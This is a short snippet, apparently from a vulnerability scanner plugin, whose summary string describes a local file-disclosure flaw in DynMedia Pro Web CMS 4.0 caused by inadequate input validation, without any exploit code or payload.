tag_summary = "DynMedia Pro Web CMS is prone to a local file-disclosure vulnerability
because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain
potentially sensitive information from local files on computers
running the vulnerable application. This may aid in further attacks.

DynMedia Pro Web CMS 4.0 is vulnerable; other versions may also be
affected.";
